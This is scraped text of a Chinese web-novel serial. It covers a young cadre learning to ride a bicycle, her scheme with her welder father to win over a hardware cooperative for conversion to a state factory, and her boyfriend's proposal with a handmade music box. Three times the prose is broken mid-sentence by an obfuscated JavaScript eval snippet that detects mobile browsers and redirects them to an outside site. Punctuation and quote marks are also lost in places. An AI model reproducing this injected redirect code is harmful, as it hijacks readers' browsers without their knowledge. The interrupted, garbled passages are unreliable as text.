吴峥嵘学车那会儿,好像并没用其他人扶着,感到快要摔倒的时候就以腿支地,多尝试几次,掌握好平衡自然就学会了。 他放手让小叶同志大胆尝试,跟在后面帮她扶着车后座,而后反复叮嘱,感觉快要摔倒时,先伸腿控制平衡。 他讲得很细,叶满枝也听得认真。 但是,两个人都忘了一点——叶满枝腿短! 她在女同志里算是中等身高,绝对不算矮了。 可是,二八大杠是更适合男同志的车型,叶满枝的先天条件在那里摆着,跟男同志的大长腿不能比。 她感觉车子有倾倒迹象时,谨遵吴老师的叮嘱,下意识伸腿。 然而,她的脚尖根本就碰不到地面! 碰!不!到!地!面! 她就那样狼狈地“啊啊啊”着栽了下去! 吴峥嵘在她伸腿的一刹那就发现了问题,顾不上自行车,眼疾手快地揽上她的腰,在车子跌倒前,将人从车座上抱了下来。 “怎么样?哪里被剐到了吗?” 叶满枝惊魂未定地摇摇头。 之前看吴峥嵘骑车好像挺容易,可是轮到她这里,脚尖居然连地面都挨不到,简直是奇耻大辱!奇耻大辱啊! 吴峥嵘回家拿了工具,帮她把自行车座椅调低了一些,“这事怪我,没考虑到座椅高度的问题。等你学会以后,还是买辆女式车吧,这二八大杠确实不太好骑。” 叶满枝见他将座椅高度调到最低,也只是降低了那么一丢丢。 她回忆了一下脚尖到地面的距离,感觉调整的这点高度无济于事。 不过,她还是勇敢地重新跨上了座椅。 小路上虽然没人,但她仍尽量控制着音量,不让自己喊出来吸引左右邻居的关注。 可是,即便如此,当她被吴峥嵘扶着车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465590|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后座,晃晃悠悠骑到一个路口时,还是听到了一声很明显的嗤笑。 叶满枝心说,谁这么讨厌啊,人家学骑自行车有什么可笑的! 她 顺着声音寻过去而后就在一个玻璃窗后面蓦然看到了周牧那张臭脸。 这个画面其实还挺诡异的。 此时天光已经暗了下来小路两旁的平房里亮起融融灯火。 周牧所在的那个房间由于内外温差过大几乎整面玻璃都上了霜外面看不清内里的情况而他就打开最上面的那扇小气窗露出了一个脑袋来。 叶满枝停下车子问:“你站在那里跟个吊死鬼似的笑什么笑?” 周牧和吴峥嵘:“::::::” 吴峥嵘发现小叶同志嘴还挺毒的。 “谁是吊死鬼?还没出正月呢你说话能不能注意点!”周牧探出脑袋来嚷嚷道“你都摔成那样了还学什么自行车?” “我乐意学!学会自行车我就能骑车了免得像某些二傻子似的推着自行车从傍晚走到二半夜!” 周牧气结:“你说谁是二傻子?” “谁答应我就说谁!” 周牧其实是想跟她好好说话的可是叶满枝那张嘴好像生来就是气他的他俩见面十次有八次在干仗! 叶满枝才不想当着吴峥嵘的面跟他吵架那多影响她温柔乖巧的形象啊! 于是她不再搭理周牧那个二百五重新坐上车座潇洒地指挥道:“前进!” 吴峥嵘冲窗口的吊死鬼笑了笑扶上车后座继续推着她前进了。 “周牧不会骑自行车”叶满枝小声跟他透露 吴峥嵘早知那小子是步行回家的仍是配合地露出惊讶表情。不过问出口的话却是:“原来你那么早就清醒了?” 叶满枝:“……” 重点难道不应该是周牧推车走回家吗? 她仰头与男人对视几秒哼了一声说:“行行行我当时早就清醒了就是为了蹭你的车才装醉的!我早就对你图谋不轨想对你这样那样了你满意了吧?” 吴峥嵘扶着车把在她身侧笑了一阵而后单手抱住她的腰将人从前座挪到了后车座上。 叶满枝毫无准备地被转移了蒙头蒙脑地问:“你干嘛 啊? “屋里有吊死鬼偷窥你,我带你去外面找个地方继续练。 叶满枝觉得这种过期陈醋没什么可吃的,但还是赶紧低头趴好,“你上车抬腿的时候小心点啊!我上次就看到有个男同志把后座的儿子踢下去了,你可别踢到我! 吴峥嵘想象一下那个画面,不由再次被逗笑,回身在她脑袋上揉了一把。 * 叶满枝在靠近大集的空地上,学了三天的自行车。 学习效果是显著的,第三天,在没有吴峥嵘陪伴的情况下,她突然就掌握了要领。 但她只敢在天黑以后骑,白天是不好意思上街的。 主要是她莫名其妙先学会了坐在后座上骑车,坐在前座的骑法她还没能领悟! 虽然坐在后座也能骑,可是伸手够车把的形象实在太丑了。 所以,吴峥嵘结束加班,问她学习效果如何时,她只说还没学会! 生怕对方让她上车骑两圈! 学骑自行车的进展缓慢,叶满枝仍然选择搭乘铛铛车去区里上班。 这几天改革办公室拿出了一个大致的改革方案。 光明街上要参与改革的大社小社总共有十二个,叶满枝觉得有点多,有些合作社规模特别小,没必要单独建厂。 但这事她说得不算,改革的主要工作是由工业局负责的,街道办和财政局都只是配合他们的工作。 冯大成从光明街上的众多合作社中,选择了一个第3五金社当第一个改革试点。 这个五金社算是中等偏大的合作社,有社员200多人。 从效益上来看,其实人家发展得很好,社员每年的分红都挺可观的。 可是,这个社最大的问题是,全社有至少三成师傅是四级以上的技工,甚至还有两个五级和一个六级技工。 他们完全可以生产技术含量更高的产品。 可是这个五金社却常年生产一种锁具,技术上只需要二级工的水平就足够了。 集体经济只追求经济利益,在人才和技术上存在极大的浪费。 叶满枝这个街道联络员,在小组中是负责思想工作的。 说得直白点,她就是打头阵的,说服社员们同意退股,将合作社转成国营工厂。 另外两个街道的联络员早就已经行动了叶满枝却迟迟没有动静。 冯大成询问进度的时候她只含含糊糊地说还需要仔细调研一下。 关键是她听说另外两个街道的动员工作做得并不理想人家集体性质的合作社干得挺好凭什么你说转厂就转厂啊? 这事放到谁身上都不痛快。 她担心以改革办公室的干部身份冒然上门要求人家转厂社员们会有抵触情绪。 于是思量再三后叶满枝决定聘请老叶当煤炉厂的临时顾问到时候她以煤炉厂厂长的身份带着老叶这个七级焊工去五金社切磋挑战一下。 老叶昨天上的是夜班睡到下午被闺女从床上挖起来的时候满脸都写着不高兴。 “你自己的工作自己去做喊我干嘛?你看谁上班还带着爹?” “上门挑战这么招人恨的事我咋能亲自干呢?”叶满枝笑道“爸我聘请你当我的顾问到时候你负责打头阵!我之后还要替改革办出面谈工作还得当个好人!” 老叶不满道:“我凭啥当坏人啊?” 叶满枝将一个哨子塞进他手里 上次吴峥嵘来家里相看的时候送给她侄子麦多一个高射机枪弹壳做的哨子。 几个弹壳焊接在一起能吹出声音来麦多拿到见面礼以后简直乐疯了。 叶满枝早就看出来了那玩意不但麦多喜欢她爸其实也很眼馋! 给老叶一个哨子他肯定能乖乖替她当坏蛋! 作者有话要说 一百个红包明天见~ 感谢在2024-08-2112:44:42~2024-08-2212:57:00期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:古人来、小月半妞、本人更可爱ly7、龑星°1个; 感谢灌溉营养液的小天使:本人更可爱ly7661瓶;紫陌红尘109瓶;卡卡卡卡卡106瓶;Mogreenfox、福星星的妈妈100瓶;小ZZ84瓶;十三姑娘、别丧打起精神来68瓶;下一站香巴拉66瓶 第 63 章 【我今天要向你求... 第63章【我今天要向你求 牛壮志从市里回来时,收到了办事员小刘转交的一个信封。 “谁送来的信? “社长,不是信,是挑战书! 牛壮志“嘿了一声,拆开信封快速浏览了起来。 原稿纸上的字迹尚算清秀,可见是出自女同志之手。 信中措辞比较礼貌,但内容却并不客气。 对方声称要响应市委号召,提前完成第一个五年计划的生产任务,特此邀请“第3五金社与“国营光明煤炉厂 牛壮志将挑战书又重新看了一遍,纳闷道:“这光明煤炉厂你听说过吗?之前与咱们社里打过交道吗? 他怎么没印象呢? “这个厂就在咱们这条街上,是一家地方国营工厂,规模不是很大,可能有二三十个工人吧。他们厂的供销人员还来咱们社里推销过蜂窝煤炉子呢。 牛壮志皱眉说:“他们是地方国营厂,咱们是集体合作社,规模不同,生产的产品也不一样,怎么搞生产劳动竞赛啊?这不是扯淡吗? 五金社是集体企业,拉到多少订单,就生产多少订单,哪有什么生产任务! 这生产竞赛搞得起来吗? 他将挑战书折好,重新放回信封里,不打算理会这莫名其妙的挑战。 “社长,咱们应不应战啊? “应什么战? 牛壮志现在哪有心情应战! 他上午去市里的时候,听说市领导要对合作社开刀,将集体的变成国营的。 牛壮志刚开始觉得这次改革跟自家没关系。 他们合作社的经营状况良好,这两年的股息分红一直很可观,生产的产品甚至能销往外地! 除了个别社员觉得工资低,再没有什么不和谐的声音。 他觉得自家在生产经营上没问题,市领导不可能没事找事。 可是,他们这个合作社的规模不小,不怕一万就怕万一啊! 小刘轻声提醒:“社长,咱们是不是得给煤炉厂的厂长写个回信啊?要是不声不响的,显得咱们好像怯战似的! 牛壮志将信封递给他说: “你去写回信吧我整天忙得团团转哪有时间搞这种竞赛?” 五金社要是真的转成国营工厂了市里八成会派专门的干部来收编到时候他这个社长该何去何从还未可知。 谁还有心思搞竞赛? 小刘接过挑战书展开浏览了一遍看到最后一段时急忙喊住正要离开的社长。 “煤炉厂的厂长说如果咱们因为生产计划的原因无法与他们厂进行生产竞赛可以改为让双方工人交流切磋技艺。煤炉厂毕竟是国营厂要不咱们切磋一下吧?” 五金社是两百人规模的集体社煤炉厂是二十人规模的国营厂两个单位确实没什么可比性。 但煤炉厂是国营单位听说市商业局和供销社都是直接给他们下订单的在效益上应该是不错的。 小刘对自家五金社很有信心他们这个效益放到全市的合作社里也算拿得出手的。 哪怕不应战也可以跟国营单位切磋交流一下啊! 牛壮志摆摆手说:“那你就去安排安排最近社里工作多别搞太大阵仗让老张出面招待一下就行。” * 叶满枝收到五金社的回信以后将到合作社参观交流的时间定在了老叶休班的那天。 在参加生产竞赛这方面叶守信的经验相当丰富。 656厂几乎全年搞竞赛不但车间内部要搞车间与车间要搞厂际竞赛也要搞。 老叶跟闺女吹牛时的原话是“我们的竞赛对手遍布五湖四海 那个什么五金社他根本就不放在眼里。 不过上门交流的那天叶守信又喊上了自己的两个徒弟和一个六级车工老罗。 美其名曰壮壮声势。 叶满枝带人来到五金社时直接亮明了身份她是街道干部兼煤炉厂厂长这次带来了一名七级焊工一名六级车工两名二级焊工与五金社切磋交流。 张副社长没想到这种小厂里居然还有七级工和六级工当即便热情地与两位师傅握了手。 “这有什么呀!”叶守信客气道“听说你们五金社也是卧虎藏龙的光是四级工就有四五十人六级焊工和五级车工也是有的一会儿咱们好好切磋 切磋! “哈哈哈,好说好说。 第3五金社是第一批成立的合作社,当时社里笼络了很多技术能手,张副社长对社里的技术实力还是有信心的。 他将几人带去了生产车间参观,介绍了本社最畅销的产品,“我们生产的这种门锁,已经卖到天津去了! 叶守信拿起一个样品瞅了瞅,客观点评道:“你们厂这制作工艺还不错,师傅们应该是有些手艺的,不过门锁这种产品嘛,简单得很,给把锉刀,弄个手摇钻,再用车床搞几个小零件,随便找个学徒工就能做了。 他把门锁往桌子上一扔,语气里带着明显轻蔑,“张社长,甭管你们这门锁卖得多好,从技术上来看,那都是蹩脚货,没啥意思。咱们社里还有没有更高级的产品啊? 叶满枝:“…… 好怕老叶挨打啊! 张副社长和另外几个技工都被老叶这嚣张的嘴脸震惊了! 不是来社里切磋交流的吗? 瞧着怎么像是找碴的? 六级焊工姚师傅皱眉问:“叶师傅,你们煤炉厂也不过是生产煤炉子的,你们的产品就高级了? “哈哈,煤炉厂的产品还凑合吧,最近搞了两个新产品,也算是升级换代了。我只是煤炉厂的顾问,帮他们解决一些技术难题,平时在656厂上班,我们是生产汽车的! 叶满枝适时补充说:“叶师傅是七级焊工,656厂去年国庆献礼的产品,就是由叶师傅带领工组完成焊接任务的。 五金社的师傅们:“…… 那确实挺高级的。 叶守信再次露出那副讨人嫌的嘴脸说:“听说你们五金社效益很高,我特意带了徒弟过来,想跟你们交流交流,哎,一看你们生产的产品,我就知道没啥必要了。 技工是靠手艺吃饭的,姚师傅虽然敬重他的技艺,但对他这副目中无人的态度实在是看不惯。 “叶师傅,能生产汽车的工厂毕竟是少数的,各厂有各厂的任务,只要能生产出好产品,为社会主义服务,那就没白费咱的手艺! 叶守信背着手点点头,“你说得有道理,不过,我看你这焊接水平未必能有六级,顶多四五级吧。 眼见姚师傅沉了脸,叶满枝真的好怕 亲爹被打,连忙插话提醒:“叶师傅,咱们是来交流学习的……” “就是交流学习,我才要说真话呢!”叶守信一脸可惜道,“老姚,我这话虽然难听,却是大实话。就拿我自己来说吧,我们焊接汽车,很多时候要躺在地上‘仰焊’,而且一道焊缝必须一气呵成不能中途停留,这对体力和臂力都是极大的考验。这玩意就跟唱戏似的,必须天天练习,一天不练,再拿焊枪的时候手就抖了。” “你们五金社整天生产门锁,对你这样的大师傅来说,就是杀鸡用牛刀,高射炮打蚊子!你要是常年只能生产这种蹩脚货,呵呵,不说技术进步吧,不倒退就不错了!” 姚师傅被他戳中要害,脸色涨红。 他在社里主要负责指导年轻工人,自从入社以后,他本身在技术上确实没什么太大的进步。 不过,大家上班是为了养家糊口,五金社的产品销路好,年底分红也能按时发放,比他单干的时候省心多了,这就没什么可挑剔的了。 “算了算了,人各有志,既然今天是来交流技术的,那咱们就亮亮绝活!阳子……”叶守信喊来自己的三徒弟,“你代表咱们煤炉厂展示一下你的手艺!” 闻言,郭阳出列,走到工作台前,问清了门锁的制作流程以后,拿起焊枪为一件半成品门锁完成了焊接工作。 不过,与其他焊工不同的是,郭阳是通过镜子反光焊接法完成任务的。 这种方法适用于操作空间狭窄,或无法直接目视的焊接任务,看似操作简单,但内行如姚师傅却知道,不对着镜子练习个一年半载,绝对练不出这样的功夫。 他们社里,哪怕是他自己,没有任何一个人能完成这种操作。 五金社派出的几个工人也确实如他所料,技术操作只能算是中规中矩。 即使他和老陈亲自上阵,给五金社找回了一些面子,也改变不了五金社技不如人的事实。 晚饭是在五金社食堂吃的,叶守信跟几个大师傅碰了杯,当着张副社长的面说:“老姚,老陈,你们在这个合作社上班,真是浪费技术,埋没了人才!你俩一个月能有多少工资啊?” “不一定,我们发基本工资加计件工资,做得多工资就多。技术评级高的技工,基本工资也会高一些。” 叶满枝问:“您这样的六级工,每月能拿到60块吗? “差不多吧。 “那要是同样做一百件产品,您的工资要比二级三级工的工资高很多呀? “嗯。 叶满枝心说,那低级技工对这种工资制度未必满意吧?大家做一样的产品,六级工在这种产品上能发挥的空间有限,凭什么比人家多拿那么多工资? 叶守信与五金社的几个师傅纷纷碰杯,呵呵笑道:“要我说,你们还不如找个国营厂上班呢!国营厂六级工的工资,差不多也是这些,生产点高级货,不比生产门锁痛快? 张副社长:“…… 当着他的面,撺掇大师傅跳槽,这样合适吗? “叶师傅,我们在合作社里都是有股金的,每年年底可以得到劳动分红! 这是合作社社员们最骄傲的事情了! “呵呵,我知道你们那个分红。 叶守信回忆着闺女给自己介绍的合作社情况,将她那些话又在心里背了一遍,这才撇撇嘴说: “合作社刚成立的时候,你们那股金占比确实挺高的,但这都多少年了?五金社公共积累越积越多,你们那些股份早就被稀释了,现在还能占多少啊?我听说市里还规定,你们合作社的股息分红不能超过一个月的工资。 陪他一起来找茬的老罗,接话说:“那么点分红有啥意思?你们现在干的是跟工人一样的活,就因为领了分红,身份还是小私有者。那还不如进工厂当工人呢!工人阶级多光荣啊!咱工人阶级可是主人翁,说话比别人都硬气! 眼见自家这边被撺掇得人心浮动了,张副社长连忙打岔说:“在哪工作不是工作?五金社里有大家的股份,大家都是以社为家的,能拿分红又能为社会主义建设服务,这不是两全其美嘛! 叶守信并不是真的想当坏蛋,接收到自家闺女的眼神后,敬了那张副社长一杯酒,笑道:“我就是比较惜才,多啰嗦了几句,你们社里要是能生产点高级货,让大家练练手,那不是更好嘛。毕竟那国营工厂招人也是有门槛的,现在想进厂工作也不容易了。 …… 叶满枝带着亲爹在五金社里搅和了一趟,她自我感觉还是有些效果的。 所 以,当冯大成和黎婷婷再次询问工作进展的时候,叶满枝跟他们交了底。 “在管理层那边可能还有些阻碍,但社员那边,尤其是几个大师傅那里应该已经松动了。”她不放心地问,“婷婷,如果给社员退股,能保证尽快一次性付清股金吗?” “那我得回去问问领导,之前有人提过,股金金额太多的,可能会分几期付清。” “咱们最好能承诺一次性付清,”叶满枝小声说,“我感觉社员们还是比较在乎经济利益的,如果看不到现金,这事恐怕不好办!” 冯大成问:“以目前的情况,去第3五金社谈转厂的事情,有几成把握能成功?” “五六成吧,你跟婷婷先去五金社提一提转厂的事。”叶满枝透露,“这合作社里,有个比较特殊的组织叫‘理监事会’,类似于工会又比工会有话语权。这样的大事肯定要通过‘理监事会’讨论的,我那天见到的几个社员里就有人是‘理监事会’的。那几个大师傅的心思已经活络了,要是咱们趁热打铁,抛出一个就地转厂的机会,兴许他们能在这件事上帮上忙。” 她刚以煤炉厂厂长的身份去人家合作社挑衅过,要是紧接着就去搞转厂工作,明眼人一下就能看出是怎么回事。 所以,她打算暂时眯几天,等到五金社开全体社员大会的时候,她再作为街道派出的代表,以街道干部的身份去做个见证。 * 冯大成和黎婷婷先去第3五金社商量转厂了,叶满枝一边研究其他合作社的情况,一边准备基层干部进修班的结业考试。 由于前一天晚上熬夜学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465591|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到十点,是的,十点睡觉对叶满枝来说已经算是熬夜了,第二天早上被常月娥喊起来的时候,她还迷迷瞪瞪的。 “今天休息,不用上班。” “再不起来,面条就陀了。”常月娥把她从床上拽起来,“吃了长寿面再睡,我给你煮了两个鸡蛋!” 今儿是二月二龙抬头,除了要吃猪耳朵,叶满枝一般还要吃碗面条。 她是二月二的生日。 叶家孩子多,从来不给某个孩子单独过生日,一碗面条两个鸡蛋,是每个孩子的标配。 哪怕是叶满枝这个双亲唯一的亲生崽也没有例外。 叶满枝慢腾腾地从床上爬 起来,慢腾腾地吃了自己那碗寿面,分给麦多一个鸡蛋,得到了大侄子一句“小姑长命百岁”的祝福。 吃过早饭以后,她正在睡回笼觉,还是看书复习之间犹豫不决时,吴峥嵘突然登门了。 “你怎么来了?” 还打扮得那么精神。 吴峥嵘挑眉,“不是你要求去逛街的吗?给你那个朋友买礼物。” “哦哦,对了。” 叶满枝的脑子总算是清醒了,她和青梅的生日只相差四天,她俩都不过生日,但每年都会相互准备点小玩意。 她今年给青梅织了一双露手指的手套。 不过,青梅前天送给她的礼物,也是一副自己织的手套,而且还是十根手指很全乎的那种。 她总觉得自己再送一副手套,青梅收到礼物的时候可能会没什么惊喜,所以有了工资和压岁钱的小叶同志,决定给好朋友花点小钱,再买一份礼物。 难得能找个由头跟吴峥嵘一起逛街,叶满枝回屋打扮了一下,而后兴冲冲地问:“咱们去石道街还是中国大街?” “听你的吧。” “那就去中国大街,买完礼物以后,还可以带你去我的新房参观一下!” 叶满枝毫不犹豫,直接就替两人做了决定。 军代表同志一看就是不经常逛街的人,让他拿主意等于白费功夫。 吴峥嵘果然表现得很无所谓,跟在她身后上了铛铛车。 中国大街是滨江最繁华的一条商业街,解放前,整条街上都是外国银行和洋行,道路两侧全是风格独特的欧式建筑。 它之于滨江,相当于王府井之于北京。 除了离光明街太远,没有其他毛病! 叶满枝到了中国大街上,跟老鼠掉进米缸没区别,凡是开门的店铺都要往里钻。 半条街逛下来,还没选好给青梅的礼物。 吴峥嵘跟着她走进最近的一家寄卖商店,提议道:“已经是中午了,逛完这家店,咱们就找地方吃午饭吧。” 叶满枝心不在焉地颔首,心思已经被寄卖商店货架上的一个小玩意吸引了。 “同志,那个会唱歌的盒子是什么啊?” “八音盒。”售货员将原木色的八音盒取下来,放在玻璃柜台上, “这个是全新的。” 寄卖商店里的大部分商品是老物件,有二手货,甚至也有三四手货。 所以,货架和柜台里的全新商品,可以得到被售货员特别强调的待遇。 叶满枝刚刚进门时,尚未见到八音盒的全貌,就被叮叮当当的音乐吸引了。 尽管曲调有些拖沓,但她能听得出,那是民乐经典曲目《鲜花调》。[1] 他们音乐会演出的时候,经常演奏这支曲子。 叶满枝并没伸手去碰这个可能价格不菲的八音盒,只是稍稍俯下身子,仔细观察了起来。 八音盒是木质的,原木色的盒子,盒盖打开,有个木质小人会随着音乐转动。 她又凑近了一些观察,木头人好像是个抱着琵琶的姑娘,不过雕刻工艺一般,她觉得那琵琶似乎少了两根琴弦。 音乐停止后,小人也停止了转动。 被售货员拧着发条上了几次弦,琵琶女又重新演奏了起来。 “这个真好玩啊!”叶满枝感叹。 “嗯,跟你还挺搭的,”吴峥嵘建议,“买一个吧?” 叶满枝知道寄卖商店里的东西都不便宜,踟蹰了好一阵,才小心地问:“同志,这个八音盒多少钱啊?” “五毛。” 叶满枝:“多少?” “五毛啊。”售货员乐呵呵道,“外国八音盒值钱,这个是国产的,有人做好以后,放在我们这里寄卖的,叫不上价。” “啊啊啊,那我要了!”叶满枝没有丝毫迟疑,连忙从口袋里掏钱开票。 五毛钱的八音盒! 她今天好幸运,捡到大便宜啦! 国产的怎么啦?国产的跟外国货一样好! 她就喜欢国货! 叶满枝交了钱,终于敢去碰那个八音盒了。 “看!”她把八音盒捧在手上,让吴峥嵘一起看,“做工是不是很不错?” 吴峥嵘笑着附和:“挺好的,瞧着跟外国货差不多。” 叶满枝将手套摘掉,手上提着的袋子也全都交给吴峥嵘。 她自己则双手捧着八音盒出门,整个人都开心得直冒泡。 她这是什么运气! 五毛钱居然能买到这种高级货! 她走在前面,以防买到残次品,又赶忙将八音盒各部位的零件全都检查了一遍。 检查到侧面时,发现八音盒的侧面居然是活动的。 她轻轻拉了一下侧板,拽出一个铺着红色绒布的小抽屉。 抽屉里还被塞了一张纸条。 叶满枝以为是寄卖商店的发.票,或是上一任主人留下的什么字据。 然而,当她将字条缓缓展开时,却迎面对上了一笔熟悉的字迹。 【叶满枝同志,生日快乐,愿你每一岁都能勇敢无畏、自成山海。】 【李郢创作《为妻作生日寄意》时,写出了“鸳鸯交颈期千岁,琴瑟谐和愿百年”。】 【这两句寄语令我羡慕许久。】 【我同样想把这首诗送给你,可惜目前尚无资格。】 【故此,十九岁的叶满枝同志,我今天要向你求婚了。】 作者有话要说 [1]《茉莉花》改编自民歌《鲜花调》。 一百个红包,明天见~ 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第 64 章 “我会尽量把最好... 第64章“我会尽量把最好. 叶满枝对于求婚的认知,几乎全部来自于文学作品。 大姐刚去话剧团上班的时候,曾邀请她去看过一场契诃夫的独幕剧《求婚》。不过,由于演员的台词中含有大量的“亲爱的”,“我的贵重人儿”,“我的宝贝儿”等肉麻称呼,年少无知的她光顾着害羞了,没怎么关注剧情。 后来她跟青梅一起看苏联小说《钢铁是怎样炼成的》,别人都在称颂保尔勇敢无畏的精神和钢铁般的意志,她俩却油盐不进地讨论保尔跟达雅求婚、结婚的桥段。 再后来,她在《人民日报》上,看到一篇评论文章叫《蝴蝶式的人》,主要是借用安徒生童话故事《蝴蝶》的内容,讽刺花蝴蝶似的人物。可是作者批判了啥她并没注意,她当时只顾着感叹蝴蝶向豌豆花求婚了,连蝴蝶都那么罗曼蒂克! 叶满枝也曾偷偷幻想过自己被求婚的场景,但她对此并不抱什么希望。 时下的青年男女之间不流行求婚,双方见过家人以后,基本就能将婚事定下来了。 吴峥嵘比她大了好几岁,还是个穿军装就不接吻的男人,她以为他们接下来的发展,会像其他男女那样,顺其自然地选个良辰吉日领证结婚。 没想到吴峥嵘竟然会向她求婚! 她将字条上的内容重新默读两遍,酥酥麻麻的感觉鼓动着心脏,血液从胸腔冲到四肢,继而沸腾着涌向大脑。 直到吴峥嵘觉察出她的异样,将她带进马路对面的滨江大旅社,坐进了陌生的餐厅里,她才感觉手指的血液逐渐回流,把那张字条小心地放进了上衣口袋。 “来旅社干嘛?” 吴峥嵘觑着她脸上的潮红,无奈笑道:“既然想求婚,我总要找个像样的餐厅吧?” 滨江大旅社的餐厅同时供应中餐和西餐,在市里很有名。 他觉得叶满枝能喜欢工人俱乐部的那家西餐厅,就一定会喜欢这里。 所以,才将八音盒放到了餐厅对面的寄卖商店。 按照他的计划,叶满枝在商店里买到八音盒,然后来餐厅用餐,最起码要等到点菜之后,才会看到那张字条。 不料,计划赶不上变化,人家在马路上就发 现了! 叶满枝入座以后,甚至没有好好打量餐厅的优雅环境,匆匆点了几道菜,便将全副心思放在了那个八音盒上。 她将盖子打开,拿出那个抱着琵琶的木头人仔细端量。 这姑娘穿着粉色旗袍,挽着头发,琵琶上的琴弦确实少了两根。 其余部分都是原木色的,只有不断旋转的小姑娘是彩色的。 她握着木头小人把玩了一阵,而后偏头问出心里的猜测,“这个八音盒不会是你自己做的吧?” 吴峥嵘轻笑着承认:“第一次做,雕工不太精湛。” “《鲜花调》也是你弹的?”叶满枝不可置信地问,“你不是说你不懂这些吗?” “我确实不懂,不过,我请你们音乐会的会长帮忙弄了简谱。做了六个机芯,才弄出一个勉强成调的。” 叶满枝只觉得这一切都特别不可思议,她回忆了一下整件事情的经过。 “你就不怕我今天不来中国大街逛街?我要是选择去石道街买礼物,你这些心思岂不是白费了?” 吴峥嵘看着她笑:“那样的话,我会想尽办法劝你来中国大街逛逛的。” “我万一没进寄卖商店呢?” “你怎么可能不进?” 他俩谈恋爱的时间不短了,叶满枝的喜好他基本有数。 连供销社的柜台都要挨个看过去,更何况是商业街上林立的店铺。 “要是真的没进寄卖商店,”吴峥嵘想了想,以一种假设的口吻说,“我可能会暂时跳过送八音盒的环节,然后请你来大旅社用餐,再找机会跟你求婚吧。” 他从大衣口袋里掏出一个方方正正的盒子,打开盒盖后,递到姑娘面前。 “叶满枝,我今天正式向你求婚,你愿意接受我,与我结合,成为我的爱人和终身伴侣吗?” 明明上一秒还在进行一场普通的谈话,下一秒就突然求婚了! 叶满枝看过字条后已经有了心理准备,可是当这一刻真的降临时,仍是被惊喜击中了! 她眼眶发酸,蓦然汇聚的泪水让视野一片模糊,一时看不清那盒子里是什么东西。 他们刚确定关系的时候,她曾私下问过吴峥嵘,为什么要用直白的“谈恋爱”,而不用更含蓄的“革命战友” 形容他们的关系。 吴峥嵘说他在部队有很多革命战友但爱人却只有一个。 爱人的唯一性让他们都足够珍贵。 这会儿听他再次用“爱人”和“伴侣”定义彼此的关系叶满枝只觉一股热浪从心头涌进喉咙和眼底激得她说不出话来。 两人的感情水到渠成吴峥嵘对今天的求婚其实是有一定把握的但他毕竟是第一次做这种事忐忑的情绪很难抑制。 此时只见叶满枝泪眼婆娑地望着自己不说话吴峥嵘脸上难得地带出些慌张。 “怎么突然哭了?”他将首饰盒子放到一旁先给她找手绢擦眼泪。 叶满枝攥着手绢想到他亲手做的八音盒五个报废的机芯还有那个穿着粉旗袍的木娃娃眼泪再次夺眶而出。 她鼻音囔囔地问:“你干嘛对我这么好啊?” “其实还好吧只要在我的能力范围内我会尽量把最好的给你。” 吴峥嵘没有在公共场合帮她擦眼泪只在桌布的掩饰下握住了她的手。 “叶满枝我不想用花言巧语欺骗你你现在看到的都是恋爱和婚姻中幸福美好的一面。但是我的职业有一定特殊性很多时候身不由己家庭情况也有许多不如意的地方。要是未来某一天你心里觉得委屈了我只希望这些‘最好的’能给你一些坚持下去的动力……” 叶满枝眼里还残留着水丝仗着吴峥嵘身形高大能挡住卡座外的大部分视线她不管不顾地扑进了对方怀里。 “你不是在求婚吗?干嘛要说这种丧气话?别的军属能过的日子我当然也能过了!不过你这个态度还是值得肯定的!你确实应该对我好一点把最好的全都留给我!当然我也会把最好的都留给你的!” “好了在外面你克制一点。”吴峥嵘在她腰上拍了拍低声问“所以对于我的求婚 叶满枝抬眸与他对视心说只凭这张脸她就爱得什么似的更何况军代表同志还那么优秀她当然要接受了。 但是她沉吟一阵还是问:“我要是答应了你明天就要去领证结婚吗?” “你答应我的求婚只是第一步。有了你的点头我才能给上级打结婚报告 报告批下来以后,双方父母还要商量聘礼婚期。听我奶奶的意思,可能还要翻黄历找个好日子。”吴峥嵘故作为难地说,“对于你明天就想领证的愿望,可能不好实现。” 在领证结婚这件事上,吴峥嵘的一贯原则还是听女同志的。 不过,组织牵线介绍的对象,结婚速度通常都很快。他俩认识都快一年了,要是再没有下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498268|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步动作,恐怕又会有人在背后说闲话。 因此他才计划在叶满枝生日的时候求婚,有了肯定答复就能打结婚报告了。毕竟要经过婚前调查、政审环节,报告批复也需要不短的时间。 叶满枝斜睨他一眼说:“谁想明天结婚啦?冬天去拍结婚相片,显得好臃肿,我想等天气暖和以后,能穿漂亮衣裳的时候再去拍照!” 